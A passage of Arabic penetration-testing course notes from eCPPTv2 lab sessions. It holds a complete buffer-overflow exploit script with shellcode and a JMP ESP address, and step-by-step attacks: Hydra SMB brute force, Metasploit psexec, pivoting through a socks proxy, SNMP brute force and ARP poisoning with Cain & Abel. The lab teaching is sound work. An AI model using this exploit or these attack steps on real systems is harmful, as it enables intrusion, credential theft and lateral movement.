s.connect((ip, port)) 35 | print("Sending evil buffer...") 36 | s.send(bytes(buffer , "latin-1")) 37 | print("Done!") 38 | except: 39 | print("Could not connect.") 40 | 41 | ``` 42 | 43 | طيب اول شي بنشوفه الي هو البادنق لو نخليه 44 | ```bash 45 | "\x90" * 4 46 | ``` 47 | 48 | بنشوف انه مايضبط ولو حطيناه 7 راح لانه راح ينقص بايت من الشيل حقك 49 | لو نخليه 8 راح يضبط بدون اي مشاكل 50 | الـ EIP = BBBB 51 | 52 | الان نشوف الستاك فيه ال BBBB تحتها 8 مرات مكتوب 90 53 | طبعا ناخذ الادرس الي بعد الـ 8مرات 90 54 | 55 | وهذا هو راح يكون بداية الشيل تبعنا 56 | ولابد يكتب الادرس بشكل هيكس ومعروف انه ليتيل انديان 57 | 58 | طيب الان لو نحاول نستغله راح يتغير الادرس ماراح يروح للادرس حقنا الي حصلناه بعد الثمان مرات 90 59 | 60 | فنشوف انه فعلا تغير الادرس فالان عاد تقعد تجرب تسوي اكسبلويت لين يجي على الادرس الي حطيناه بالكود 61 | يعني تقدر تقول كانه brute force 62 | 63 | طبعا نقدر نحل المشكله باننا نستخدم JMP to ESP 64 | 65 | طيب بعد مانطلع البادكراكترز الان ونبي نطلع الـ JMP ESP عشان نتفادا المشاكل 66 | ```bash 67 | !mona jmp -r esp -cpb "" 68 | ``` 69 | 70 | ونشوف انه مثلا عطانا 9 ادرسس مافيهم الباد كراكترز الي حددناه بالامر السابق 71 | ف مثلا عطانا هذا الادرس 72 | ```bash 73 | 625011AF 74 | ``` 75 | راح نكتبه بهذا الشكل في الـ return 76 | ```bash 77 | \xAF\x11\x50\x62 78 | ``` 79 | 80 | والان نقدر نكتب الاكسبلويت حقنا بدون اي مشاكل وراح يتنفذ علطول مايحتاج نقدر نجرب اكثر من مره ونسوي رن ونشوف هل بيجي الادرس حقنا او لا 81 | 82 | طبعا الان لو نستغله بنشوف انه حصلنا مشكله جديده والي هي الثمان مرات 90 صارت ثمان مرات 0 وهذا المشكله 83 | 84 | طيب وش السبب والله ماعرف ماتعمقت بهذا الموضوع مره ف عشان ال layout memory 85 | طبعا نزيد 4 ثانيه ف بيصير عندنا 12 مره 90 86 | 87 | ونجرب نستغل.... 88 | ```python 89 | import socket 90 | ip = "10.10.60.243" 91 | port = 1337 92 | prefix = "OVERFLOW1 " 93 | offset = 1978 94 | overflow = "A" * offset 95 | retn = "\xAF\x11\x50\x62" 96 | padding = "\x90" * 24 97 | 98 | buf = "" 99 | buf += "\xdb\xc6\xd9\x74\x24\xf4\xbd\xe7\xa2\xa4\xa8\x5a" 100 | buf += "\x31\xc9\xb1\x52\x31\x6a\x17\x03\x6a\x17\x83\x25" 101 | buf += "\xa6\x46\x5d\x55\x4f\x04\x9e\xa5\x90\x69\x16\x40" 102 | buf += "\xa1\xa9\x4c\x01\x92\x19\x06\x47\x1f\xd1\x4a\x73" 103 | buf += "\x94\x97\x42\x74\x1d\x1d\xb5\xbb\x9e\x0e\x85\xda" 104 | buf += "\x1c\x4d\xda\x3c\x1c\x9e\x2f\x3d\x59\xc3\xc2\x6f" 105 | buf += "\x32\x8f\x71\x9f\x37\xc5\x49\x14\x0b\xcb\xc9\xc9" 106 | buf += "\xdc\xea\xf8\x5c\x56\xb5\xda\x5f\xbb\xcd\x52\x47" 107 | buf += "\xd8\xe8\x2d\xfc\x2a\x86\xaf\xd4\x62\x67\x03\x19" 108 | buf += "\x4b\x9a\x5d\x5e\x6c\x45\x28\x96\x8e\xf8\x2b\x6d" 109 | buf += "\xec\x26\xb9\x75\x56\xac\x19\x51\x66\x61\xff\x12" 110 | buf += "\x64\xce\x8b\x7c\x69\xd1\x58\xf7\x95\x5a\x5f\xd7" 111 | buf += "\x1f\x18\x44\xf3\x44\xfa\xe5\xa2\x20\xad\x1a\xb4" 112 | buf += "\x8a\x12\xbf\xbf\x27\x46\xb2\xe2\x2f\xab\xff\x1c" 113 | buf += "\xb0\xa3\x88\x6f\x82\x6c\x23\xe7\xae\xe5\xed\xf0" 114 | buf += "\xd1\xdf\x4a\x6e\x2c\xe0\xaa\xa7\xeb\xb4\xfa\xdf" 115 | buf += "\xda\xb4\x90\x1f\xe2\x60\x36\x4f\x4c\xdb\xf7\x3f" 116 | buf += "\x2c\x8b\x9f\x55\xa3\xf4\x80\x56\x69\x9d\x2b\xad" 117 | buf += "\xfa\xa8\xa1\x6e\xcb\xc4\xb7\x70\x3d\x49\x31\x96" 118 | buf += "\x57\x61\x17\x01\xc0\x18\x32\xd9\x71\xe4\xe8\xa4" 119 | buf += "\xb2\x6e\x1f\x59\x7c\x87\x6a\x49\xe9\x67\x21\x33" 120 | buf += "\xbc\x78\x9f\x5b\x22\xea\x44\x9b\x2d\x17\xd3\xcc" 121 | buf += "\x7a\xe9\x2a\x98\x96\x50\x85\xbe\x6a\x04\xee\x7a" 122 | buf += "\xb1\xf5\xf1\x83\x34\x41\xd6\x93\x80\x4a\x52\xc7" 123 | buf += "\x5c\x1d\x0c\xb1\x1a\xf7\xfe\x6b\xf5\xa4\xa8\xfb" 124 | buf += "\x80\x86\x6a\x7d\x8d\xc2\x1c\x61\x3c\xbb\x58\x9e" 125 | buf += "\xf1\x2b\x6d\xe7\xef\xcb\x92\x32\xb4\xec\x70\x96" 126 | buf += "\xc1\x84\x2c\x73\x68\xc9\xce\xae\xaf\xf4\x4c\x5a" 127 | buf += "\x50\x03\x4c\x2f\x55\x4f\xca\xdc\x27\xc0\xbf\xe2" 128 | buf += "\x94\xe1\x95" 129 | 130 | 131 | postfix = "" 132 | buffer = prefix + overflow + retn + padding + buf 133 | 134 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 135 | 136 | try: 137 | s.connect((ip, port)) 138 | print("Sending evil buffer...") 139 | s.send(bytes(buffer , "latin-1")) 140 | print("Done!") 141 | except: 142 | print("Could not connect.") 143 | ``` 144 | ونشوف انه فعلا اخذنا shell 145 | 146 | الى هنا الحمدالله خلصنا الـ Buffer OverFlow 147 | 148 | راح ندخل بقسم جديد باذن الله 149 | 150 | --- 151 | 152 | ## Penetration Testing: Network Security 153 | 154 | طيب بسمالله اول لاب معنا اليوم هو 155 | 156 | Information Gathering 157 | ----------------------| 158 | 159 | طيب بسمالله اول شي بنشوف الايبي تبعنا ونفحص الشبكة كامله 160 | ```bash 161 | nmap -sn 192.115.225.0/24 162 | ``` 163 | -sn راح يسوي لنا ping scan ونشوف ايش الهوستات الشغاله 164 | 165 | نشوف انه عطانا عدد من الايبيهات الي شغاله 166 | ```bash 167 | 192.115.225.3 168 | 192.115.225.4 169 | 192.115.225.5 170 | 192.115.225.6 171 | 192.115.225.7 172 | 192.115.225.8 173 | 192.115.225.9 174 | 192.115.225.2 175 | ``` 176 | 177 | طيب الان مطلوب مننا نطلع له وش الهوست الي شغال عليه DNS (port 53) 178 | 179 | راح ننفذ هذا الامر 180 | ```bash 181 | nmap -sV -p 53 192.115.225.0/24 --open 182 | ``` 183 | ونشوف انه عطانا انه الايبي التالي مفتوح عليه بورت 53 184 | ```bash 185 | 192.115.225.3 53/tcp open 186 | ``` 187 | 188 | طيب الان راح نستغله باستخدام اداة nslookup 189 | ```bash 190 | nslookup 191 | server 192.115.225.3 192 | set q=NS 193 | witrap.com 194 | exit 195 | ``` 196 | 197 | ونشوف انه حصلنا subdomains 198 | ```bash 199 | secondary.witrap.com 200 | primary.witrap.com 201 | ``` 202 | 203 | خلونا نرجع نسوي enumeration عن الـ subdomains الي حصلناها 204 | ```bash 205 | nslookup 206 | server 192.115.225.3 207 | secondary.witrap.com 208 | primary.witrap.com 209 | ``` 210 | 211 | نفس ماقبل بحثنا عن NS records الان راح نسوي اتسطلاع على الـ MX records 212 | ```bash 213 | nslookup 214 | server 192.115.225.3 215 | set q=MX 216 | witrap.com 217 | exit 218 | ``` 219 | 220 | طيب نشوف الان انه عطانا tow MX records 221 | ```bash 222 | mail exchanger = 10 mx.witrap.com 223 | mail exchanger = 20 mx2.witrap.com 224 | ``` 225 | 226 | طبعا فيه اداة تختصر علينا كلشي الي هي dig 227 | ```bash 228 | dig @192.115.225.3 witrap.com -t AXFR +nocooke 229 | ``` 230 | 231 | الان نشوف انه حصلنا الفلاق في ريكورد TXT 232 | 233 | وفيه سوال حق الـ ldap بعد حصلناه الي هو الهوست 192.115.255.8 234 | 235 | طبعا الان عشان نحدد له رينج موجود على السيرفر loccally يعني 236 | ```bash 237 | dig axfr -x 192.168 @192.115.225.3 238 | ``` 239 | 240 | نشوف انه عطانا subdomains ماكانت موجوده قبل وكذالك معطينا الايبي تبع كل subdomain 241 | 242 | فيه اداة اسمها host نفس المخرجات لكن هنا يختلف الـ syntax 243 | ```bash 244 | host -t axfr witrap.com 192.115.225.3 245 | ``` 246 | 247 | الى هنا انتهى اللاب نشوف الي بعده 248 | 249 | --- 250 | 251 | Scanning 252 | ---------| 253 | 254 | طبعا نشوف انه معطينا 3 تارقت 255 | ```bash 256 | 257 | Target 1 : 10.0.18.252 258 | Target 2 : 10.0.19.38 259 | Target 3 : 10.0.18.58 260 | ``` 261 | 262 | 263 | راح نسوي سكان الان ونحفظ الملف بصيغة xml 264 | ```bash 265 | nmap -PE -sn -n 10.0.18.0/20 -oX scan.xml 266 | ``` 267 | -PE enables ICMP Echo request host discovery (Ping scan). 268 | -oX tells Nmap to save the results into an XML file (in our case, the filename is scan.xml and is present in /root/scan.xml). 269 | 270 | 271 | طيب الان راح نفحص اول تارقت 272 | ```bash 273 | nmap 10.0.18.252 274 | ``` 275 | 276 | طبعا نشوف انه يرفض لانه مايقبل الـ disabled ICMp echo request فراح نستعمله اوبشن الي هو -Pn 277 | ```bash 278 | nmap -Pn 10.0.18.252 279 | ``` 280 | 281 | طبعا نشوف انه فعلا قبل الان وعطانا ايش البورتات الشغاله وكلشي تمام 282 | -Pn option treats all hosts online and skips the host discovery part.It scans the host ports without confirming whether the host is alive or not. So, to scan the Target 1 using nmap, we must use the -Pn option and other options. 283 | 284 | 285 | طبعا فيه حالات معينه للبورتات في الـ nmap 286 | ```bash 287 | open SYN > SYN ACK 288 | close SYN > REST 289 | Filterd SYN > DROPED 290 | ``` 291 | 292 | نشوف انه بورت 3389 مفتوح خلونا نشوف كل التارقت بنفحصهم بنشوف فيه تارقت ثاني مفتوح عليه هذا البورت او لا 293 | ```bash 294 | nmap -Pn -p 3389 -iL /root/Desktop/target 295 | ``` 296 | 297 | نشوف انه فيه اكثر من هوست شغال عليه البورت 298 | 299 | طيب خلونا الان نفحص بورتات ثانيه على كل التارقتس مثلا بورت 135و53 300 | ```bash 301 | nmap -Pn -p 135,53 -iL /root/Desktop/target 302 | ``` 303 | 304 | الان نشوف انه بعد البورتين هذي شغاله على اكثر من تارقت 305 | 306 | الان راح نشوف طريقة كيف نعرف ايش نظام التشغيل الي شغال على التارقت 307 | ```bash 308 | nmap -O -A 10.0.19.38 --osscan-guess 309 | ``` 310 | -A Enable OS detection, version detection, script scanning, and traceroute 311 | -O tells Nmap to perform an OS fingerprinting 312 | --ossscan-guess is to guess OS more aggressively. 313 | 314 | نشوف انه الان عطانا ايش هو نظام التشغيل والي هو Windows Server 2012 R 315 | 316 | الان راح نفحص تارقت 3 ونشوف ايش الخدمات المفتوحه عليه واصدارها 317 | ```bash 318 | nmap -sV 10.0.18.58 319 | ``` 320 | -sV Probe open ports to determine service/version info. 321 | 322 | نشوف انه فعلا عطانا السيرفس المفتوحه واصدار كل وحده فيهم 323 | 324 | خلونا نشوف الان بورت 53 هل هو مفتوح او لا 325 | ```bash 326 | nmap -sV -p 53 10.0.18.58 327 | ``` 328 | ونشوف الان انه فعلا مفتوح 329 | 330 | الى هنا انتهى اللاب وعرفنا بعض الاوبشن بالـ nmap 331 | وتكلمنا كذالك عن البفر وانهيناه كامل الحمدالله 332 | 333 | راح نكمل بكرا باذن الله وفيه اشياء تحمس باذن الله بكرا اول لاب معنا بيكون جدا ممتاز 334 | 335 | --- 336 | 337 | ## Follow us on: 338 | Twitter: 339 | [s4cript](https://twitter.com/s4cript) 340 | [cyberhub](https://twitter.com/cyberhub) 341 | [0xNawaF1](https://twitter.com/0xNawaF1) 342 | -------------------------------------------------------------------------------- /network-PT-cyberhub-PTP-4.md: -------------------------------------------------------------------------------- 1 | # Session 4 (eCPPTv2) - Day 4 2 | ## Penetration Testing: Network Security 3 | 4 | السلام عليكم ورحمة الله وبركاته 5 | 6 | اليوم باذن الله راح نكمل من حيث توقفنا امس 7 | 8 | --- 9 | 10 | معنا اليوم باذن الله اول لاب 11 | 12 | NetBIOS Hacking 13 | ----------------| 14 | 15 | طبعا معنا اول لاب هذا وبنسوي فيه بوفت واشياء حلوه خلونا نبدا 16 | 17 | اول شي راح نقرا الملف الي فيه التارقت 18 | ```bash 19 | demo.ine.local 10.0.17.62 20 | demo1.ine.local 10.2.22.69 21 | ``` 22 | 23 | طبعا نشوف ملف /etc/hosts لو مو مضافه فيه الايبي والدومينات بنفس الشكل الي فوق نضيفهم حنا ونحفظ الملف 24 | 25 | طيب لو حاولنا نسوي بنق على كل التارقتس عشان نشوف هل فعلا عندنا وصول او لا 26 | ```bash 27 | ping demo.ine.local 28 | ping demo1.ine.local 29 | ``` 30 | طبعا نشوف انه الايبي الي نهاية 62 عندنا وصول له ونقدر نسوي بنق بعكس التارقت الثاني ماعندنا له وصول 31 | 32 | طيب خلونا نفحص اول تارقت بالـ nmap 33 | ```bash 34 | nmap -sV -sC demo.ine.local 35 | ``` 36 | نشوف انه بورت 139و445 مفتوحه خل نسوي عليها بعض البحث 37 | 38 | ```bash 39 | nmap -p445 --script smb-protocols demo.ine.local 40 | ``` 41 | نشوف انه عطانا 3 اصدارات من الـ1 الى 3 42 | 43 | طيب خلونا الـ smb protocol security level 44 | ```bash 45 | nmap -p445 --script smb-security-mode demo.ine.local 46 | ``` 47 | طيب الان نشوف الـ account_used: guest 48 | 49 | وهذا اول يوزر حصلناه طبعا الان خل نشوف هل فيه null session ونقدر نتصل عن طريقه او لا 50 | 51 | ```bash 52 | smbclient -L demo.ine.local 53 | Enter WORKGROUP\root's password: 54 | ``` 55 | الان نشوف انه عطيناه ان الباسورد فاضي ونشوف انه عطانا الـshare folders 56 | 57 | طيب خلونا نشوف هل نقدر يوزرات زيادة ولا لا باتسخدام script nmpa 58 | ```bash 59 | nmap -p445 --script smb-enum-users.nse demo.ine.local 60 | ``` 61 | نشوف انه حصلنا 3 يوزرات زيادة والي هي 62 | ```bash 63 | admin 64 | administrator 65 | root 66 | ``` 67 | 68 | طيب خلونا نسوي brute force على اليوزرات الجديده 69 | ```bash 70 | hydra -L users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt demo.ine.local smb 71 | ``` 72 | 73 | نشوف انه عطانا اليوزر والباسورد الان خلونا نستخدم الـ psexec على الـ MSF عشان نستغل التارقت 74 | ```bash 75 | msfconsole -q 76 | use exploit/windows/smb/psexec 77 | set RHOSTS demo.ine.local 78 | set SMBUser administrator 79 | set SMBPass password1 80 | exploit 81 | ``` 82 | ونشوف انه جانا meterpreter session 83 | 84 | طيب خلونا نشوف ايش الصلاحيات الي معنا ونشوف معلومات عن النظام هذا 85 | ```bash 86 | getuid 87 | sysinfo 88 | ``` 89 | 90 | نشوف انه معنى اعلى صلاحيات بالنظام والي هي SYSTEM or NT AUTHORITY\SYSTEM 91 | 92 | طبعا فيه فلاق تقعد تدوره طبعا حنا نعرف وينه ف اختصار للوقت راح نقراه مباشره 93 | ```bash 94 | cat C:\\Users\\Administrator\\Documents\\FLAG1.txt 95 | ``` 96 | وطبعا زي ماقلنا بالـ meterpreter session ندبل الـ \ لانه الوحده راح يعتبرها escape 97 | الان نشوف انه عطانا الفلاق والامور زي الحلاوه 98 | 99 | طيب خلونا نشوف الدومين الثاني هل عندنا عليه اكسس من التارقت هذا دامنا استغليناه او لا 100 | ```bash 101 | shell 102 | ping 10.0.22.69 103 | ``` 104 | طيب نشوف انه فعلا فيه access من التارقت بعكس جهازنا لما حاولنا نسوي بنق رفض لانه مافيه اتصال بيننا 105 | 106 | طيب هنا الان نقدر نسوي pivoting 107 | خلونا اول شي نطلع من الشيل وندخل على الـ meterpreter session 108 | وكذالك راح نضيف ايبي الشبكة كامله الي ماقدرنا نسوي لها بنق من جهازنا وضبط البنق في جهاز التارقت راح نضيفه بالـ routeTable 109 | ```bash 110 | CTRL + C 111 | y 112 | run autoroute -s 10.0.22.69/20 113 | ``` 114 | طبعا بتقول كيف عرفت انه بيكون ايبي الشبكة بهالشكل 115 | عندك خيارين 116 | 1. use ipconfig command on target machine one 117 | 2. IP calculator 118 | 119 | طيب حلو الان تم اضافته الى الـ routeTable 120 | طيب خلونا نتكلم شوي 121 | 122 | قبل كنا نسوي portfwd بعد هذي الخطوه وكان الموضوع محكور شوي لانه لازم تسوي portfwd لكل بورت مفتوح على الجهاز 123 | بمعنى ماتقدر تستخدم مثلا nmap على كامل الشبكه 124 | لازم تستخدم الميتاسبلويت وتشوف ايش البورتات المفتوحه بعدين تسوي portfwd 125 | وشي متعب انك بتقدر تسوي على كل بورت هالشي ف جانا شي اسمه proxychains 126 | وظيفته نفس الـ portfwd بس لايبي الشبكة كامل 127 | الان مع التطبيق راح توضح اكثر تابعو معي 128 | 129 | اول شي نحتاج نعرف اصدار الـ proxychains عندنا كم 130 | ونقدر نعرف عن طريق انه نقرا هذا الملف 131 | ```bash 132 | cat /etc/proxychains4.conf 133 | ``` 134 | نشوف انه كاتب لنا انه socks4 وهذا يعني انه اصداره 4 135 | وكذالك لو نلاحظ انه معطينا رقم البورت تبع الـ socks server والي هو 9050 136 | 137 | طيب الان خلونا نستعمل موديول جديد علينا في الميتاسبلويت وليه نستخدمه بالميتاسبلويت لانه اساسا حنا مسوين او اضفنا ايبي الشبكة الى الـ routeTable عن طريق MSF خلونا نشوف مع بعض الان 138 | ```bash 139 | background [to set the session on background] 140 | use auxiliary/server/socks_proxy 141 | show options 142 | set SRVPORT 9050 143 | set VERSION 4a 144 | exploit 145 | jobs 146 | ``` 147 | طيب الان راح نشرح كم شي هنا سويناه 148 | طبعا يوم شفنا الاوبشن حصلنا ان الـ SRVHOST 0.0.0.0 وهذا يعني انه على اللوكال هوست 149 | طبعا اللوكال هوست يكتب على اكثر من شكل وهذي احد الاشكال من نظام الـ ipv4 150 | ```bash 151 | 127.0.0.1 152 | 0.0.0.0 153 | localhost 154 | ``` 155 | كلها نفس الشي بس اختلاف طريقة الكتابه ولا بالاخير راح يوديك على اللوكال 156 | الباقي البورت نفس الي حصلناه بالملف والاصدار كذالك بعدين عطيناه اكسبلويت 157 | طيب الان بعد ماسوينا اكسبلويت نشوف انه قالنا هالكلام 158 | ```bash 159 | Auxiliray module running as background job 0. 160 | Starting the SOCKS proxy server. 161 | ``` 162 | طيب الان كيف بنتاكد من انه شغال او لا؟ 163 | هنا يجي دور امر jobs والي هو راح يعرض لنا اي شي شغال بالخلفيه 164 | 165 | طيب الان طبعا نقدر نفحص التارقت بأي اداة نبيها فقط نخلي قبلها كلمة "proxychains" 166 | خلونا نجرب ننفذ هذا الامر من جهازنا او من جهاز الاتاكر 167 | ```bash 168 | proxychains nmap demo1.ine.local -sT -Pn -sV -p 445 169 | ``` 170 | نشوف انه فعلا قال ان بورت 445 مفتوح وعطانا اصدار الخدمه الي شغال 171 | 172 | طيب خلونا الان نسوي شوي enumration عن هذا البورت الي مفتوح بالتارقت 173 | ```bash 174 | sessions -i 1 175 | shell 176 | net view 10.0.22.69 177 | ``` 178 | net view command to find all resources shared by the demo1.ine.local machine. 179 | طبعا نشوف انه قال Access is denied 180 | وهذا بسبب ان البروسس ماسوينا له migrate فخلونا نرجه للـ meterpreter session ونسوي migrate 181 | ```bash 182 | CTRL + C 183 | migrate -N explorer.exe 184 | shell 185 | net view 10.0.22.69 186 | ``` 187 | نشوف انه عطانا مجلدين والي هي Documents , K 188 | طيب الان خلونا نضيفها عندنا بجهاز الضحيه يعني ونشوف موجود داخل كل مجلد فيهم 189 | ```bash 190 | net use D: \\10.0.22.69\Documents 191 | net use K: \\10.0.22.69\K$ 192 | ``` 193 | نشوف انه اضافها لنا تحت هذي المسارين 194 | ```bash 195 | dir D: 196 | dir K: 197 | ``` 198 | طبعا اضافها كانها هارد بالجهاز الويندوز الي هو التارقت 199 | بعد ماسوينا dir طبعا حصلنا الفلاق بمسار الـ D 200 | وحصلنا ملف اسمه Confidential.txt 201 | طيب خلونا الان نرجع الى الـ meterpreter session ونقرا الفلاق والملف نشوف وش فيه 202 | ```bash 203 | CTRL + C 204 | cat D:\\Confidential.txt 205 | cat D:\\FLAG2.txt 206 | ``` 207 | 208 | طبعا نشوف انه حصلنا داخل الملف معلومات عن فيزا طبعا الهدف من وجود الملف انه تبدا تتعود على الملفات الحساسه او الملفات الي فيها معلوما يعني sesnsitive من اسمها يعني بتجذبك 209 | 210 | الى هنا انتهى اللاب نشوف الي بعده 211 | 212 | --- 213 | 214 | 215 | SNMP Analysis 216 | --------------| 217 | 218 | طيب الان معطينا نفس الدومين الي قبل خلونا نفحصه 219 | ```bash 220 | nmap -sV -sC demo.ine.local 221 | ``` 222 | 223 | نشوف انه عطانا 4 بورتات اوبن وبنفس الوقت هذي فقط بورتات الـ TCP خلونا نجرب نفحص الـ UDP ports 224 | 225 | طبعا المفروض نفحص كامل بورتات الـ UDP لكن راح يطول ف بنختصر ونشوف بورت snmp protocol فقط 226 | ```bash 227 | nmap -sU -p 161 demo.ine.local 228 | ``` 229 | نشوف انه اوبن 230 | طبعا لابد تتاكد انه شغال سواء بالـ nc او انك تدلخ البورت المفتوح 231 | لانه بورتات الـ UDP ممكن يقوله انه open وهو بالواقع لا 232 | 233 | خلونا نستخدم سكربت 234 | ```bash 235 | nmap -sU -p 161 --script=snmp-brute demo.ine.local 236 | ``` 237 | 238 | نشوف انه حصلنا ثلاث community names 239 | ```bash 240 | public 241 | private 242 | secret 243 | ``` 244 | 245 | طبعا فيه اداة اسمها snmpwalk راح نستخدمها 246 | ```bash 247 | snmpwalk -v 1 -c public demo.ine.local 248 | ``` 249 | -v: Specifies SNMP version to use 250 | -c: Set the community string 251 | 252 | طيب نشوف انه عطانا مخرجات كثيره مره 253 | طبعا بنحصل الانترفيسس ومسارات مجلدات 254 | طبعا مرات احد المجلدات تقدر تعرف اليوزر نيم 255 | تقدر بعد تشوف البروسس الي شغاله على الجهاز 256 | طبعا فيه اشياء مهمه واشياء ماتعنينا 257 | 258 | خلونا نشغل عليه كل السكريبتات الموجوده في nmap 259 | ```bash 260 | nmap -sU -p 161 --script snmp-* demo.ine.local > snmp_output 261 | ``` 262 | طبعا راح يحفظ لنا المخرجات في ملف اسمه snmp_output 263 | 264 | الان لو نقرا المخرجات بنشوف انه حصلنا يوزرات 265 | ```bash 266 | Administrator 267 | DefaultAccount 268 | Guest 269 | EDAGUtiltyAccount 270 | ``` 271 | طبعا راح ناخذهم ونحطهم بملف لحالهم وبنسوي brute force 272 | 273 | طبعا اهم يوزر عندنا او الي يجذبنا اكثر هو Administrator بسبب انه اعلى صلاحيات 274 | 275 | خلونا نسوي البروت فورس الان 276 | ```bash 277 | hydra -L users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt demo.ine.local smb 278 | ``` 279 | نشوف انه حصلنا باسوردين حق اليوزر Administrator , admin 280 | 281 | طبعا نشوف انه اليوزرات طلعناها كانت عن طيب snmp 282 | طبعا لو نشوف البروت فورس كان على smp والهدق انه فيه command execution 283 | 284 | الان راح نستغله بالـ psexec عن طريق الميتا سبلويت بنفس الطريقه السابقه 285 | ```bash 286 | msfconsole -q 287 | use exploit/windows/smb/psexec 288 | show options 289 | set RHOSTS demo.ine.local 290 | set SMBUSER administrator 291 | set SMBPASS elizabeth 292 | exploit 293 | ``` 294 | 295 | نشوف انه عطانا meterpreter session والان مطلوب مننا نقرا الفلاق فقط 296 | ```bash 297 | shell 298 | cd C:\ 299 | dir 300 | type FLAG1.txt 301 | ``` 302 | 303 | ونشوف انه جبنا الفلاق 304 | 305 | الى هنا انتهى اللاب نشوف الي بعده 306 | 307 | --- 308 | 309 | Cain & Abel 310 | ------------| 311 | 312 | طبعا هنا راح نستخدم تول اسمها Cain تستخدم بـ ARP poisoning attack 313 | 314 | طبعا عشان نشغله نضغط على زر Sniffer 315 | 316 | طبعا نشوف انه عطانا الهوستات الموجودة 317 | ipv4 , MAC Adress etc.. 318 | 319 | طبعا نعرف انه يستخدم ARP protocol 320 | 321 | خلونا الان نسوي MAC Address scan 322 | عن طريق انه نضغط هذا الزر 323 | [MAC_Address_scan_button](https://i.ibb.co/m5wzvM0/3.png) 324 | 325 | بتطلع لك نافذه اضغط OK 326 | 327 | نشوف انه بدا يسوي scan طبعا بطيئ جدا لكن ننتظر 328 | طيب الان بعد ماطلع لنا الهوستات الان نفحص الهوستات 329 | نضغط على العلامة حقت النووي الي تحت جنب hosts 330 | ونضغط زر ضغط + 331 | [add_targets](https://i.ibb.co/S3vMs5J/8.png) 332 | 333 | نضغط OK 334 | 335 | الان ننتظره يضيف الهوستات 336 | بعد مااضافها نضغط علامة النووي مره ثانيه 337 | [run_scan](https://i.ibb.co/J3CymRy/11.png) 338 | 339 | نشوف انه بدا يفحص الان 340 | 341 | فيه خيار الي هو passowrds تحت نضغطه ونشوف النتيجة 342 | [password_button](https://i.ibb.co/Yd40VYV/13.png) 343 | 344 | طبعا الان خلونا نضغط على زر الـ FTP ونشوف انه فيه باسوردات ويوزرات لكل هوست 345 | طيب لو نشوف يسار بنفس القائمة بنحصل SMB نضغط عليها ونشوف انه فيها هاشات ويوزرات 346 | [smp_hashs](https://i.ibb.co/wLTZN7F/16.png) 347 | 348 | طيب الان بما انه معنا اليوزر ومعنا هاش اليوزر خل نحاول نسوي له crack 349 | نضغط كليك يمين بالماوس على اول يوزر مثلا الي هو aline ونختار Send to Cracker 350 | [send_to_cracker_option](https://i.ibb.co/pbh5LT0/17.png) 351 | 352 | الان نضغط Cracker الي جنب زر Sniffer 353 | نشوف يسار انه عطانا انه فيه NTLMv2 Hashes وفيه فقط 1 الي حنا ارسلناه 354 | [NTMLv2_on_Cracker](https://i.ibb.co/YD9KrfZ/19.png) 355 | 356 | نضغط عليها ونشوف انه عطانا الي ارسلناه حق alien خلونا نسوي له كراك الان 357 | نضغط عليه كليك يمين ونختار Dictionary Attack 358 | [Dictionary_Attack](https://i.ibb.co/CMzNTTF/21.png) 359 | 360 | نضغط فوق بالمساحه الفاضيه كليك يمين ونختار Add to list عشان نضيف له الـ wordlist 361 | [wordlist_add](https://i.ibb.co/74vSTth/23.png) 362 | 363 | طبعا نشوف فتح لنا الملفات نختار ملف اسمه wordlist موجود في الـ Desktop 364 | ونضغط Start 365 | 366 | بنشوف انه قالنا انه خلص وسوا لنا كراك 367 | نضغط دبل كليك يسار على الـ position عشان نشوف وش الباسورد الي بسطر 206 368 | نضغط exit 369 | ونروح من البار الي فوق نضغط network 370 | [network_option](https://i.ibb.co/DzFXVRN/27.png) 371 | 372 | ومن القائمة الي يمين نضغط كليك يمين على زر Quick List ونختار Add to Quick List 373 | ونكتب الايبي نفسه الي فيه يوزر alien 374 | نضغط على الايبي كليك يمين ونخار Connect As 375 | بيطلب منا اليوزر والباسورد 376 | نشوف انه دخلنا الان والوضضع تمام 377 | 378 | الان من القائمة الي يسار نختار services 379 | نشوف انه عطانا الـ services كامله الي شغاله نضغط على كلمة services من القائمة الي يمين ونختار Install Abel 380 | 381 | نشوف انه اضاف لنا الخدمة الي اسمها Able وحالتها running 382 | طيب الان من القائمة الي يسار نروح لزر Console 383 | ونقدر ننفذ اي امر نبيه من هنا مثل 384 | ```bash 385 | whoami 386 | hostname 387 | ``` 388 | 389 | طبعا الى هنا انتهى اللاب 390 | 391 | باذن الله نكمل بعد اجازة يوم التأسيس باذن الله 392 | 393 | 394 | Happy weekend :) 395 | 396 | --- 397 | 398 | ## Follow us on: 399 | Twitter: 400 | [s4cript](https://twitter.com/s4cript) 401 | [cyberhub](https://twitter.com/cyberhub) 402 | [0xNawaF1](https://twitter.com/0xNawaF1) 403 | 404 | -------------------------------------------------------------------------------- /network-PT-cyberhub-PTP-5.md: -------------------------------------------------------------------------------- 1 | # Session 5 (eCPPTv2) - Day 5 2 | ## Penetration Testing: Network Security 3 | 4 | السلام عليكم ورحمة الله وبركاته 5 | 6 | اليوم باذن الله راح نكمل من الي وقفنا عليه يوم الاربعاء 7 | 8 | --- 9 | 10 | معنا اليوم باذن الله اول لاب 11 | 12 | Poisoning & Sniffing 13 | ---------------------| 14 | 15 | في هذا اللاب راح نسوي نفس الي سويناه في اخر لاب اسمه Cain & Abel 16 | 17 | طبعا اللاب الي قبل و هذا كذالك لابد تكون داخل الشبكة يعني هذا الهجوم ماتسويه الا وانت داخل الـ internal network 18 | 19 | اول شي طبعا راح نفحص الشبكة كامله عشان نشوف الهوستات الموجوده 20 | ```bash 21 | arp-scan -I eth1 172.16.5.0/24 22 | ``` 23 | 24 | نشوف انه عطانا 3 هوستات وعطانا الـ getway 25 | 26 | الان نفحص بالـ nmap 27 | ```bash 28 | nmap -PR -sn 172.16.5.* 29 | or 30 | nmap -PR -sn 172.16.5.0-255 31 | or 32 | nmap -PR -sn 172.16.5.0/24 33 | ``` 34 | 35 | طبعا كل الثلاث اوامر هذي راح تعطيك نفس المخرجات 36 | 37 | طيب الان بنشوف ايش الهوستات الي شغال فيها بورت 53 الي هو الـ DNS 38 | ```bash 39 | nmap -sT -p 53 172.16.5.1,5,6,10 40 | ``` 41 | 42 | الان راح يغير اخر اوكت الى 5 بعدين يفحص الي نهايته 6 بعدين الي بعده والي بعده 43 | 44 | طبعا حصلنا فقط واحد اوبن والباقي close 45 | 46 | الان راح نستعمل اداة nslookup عشان 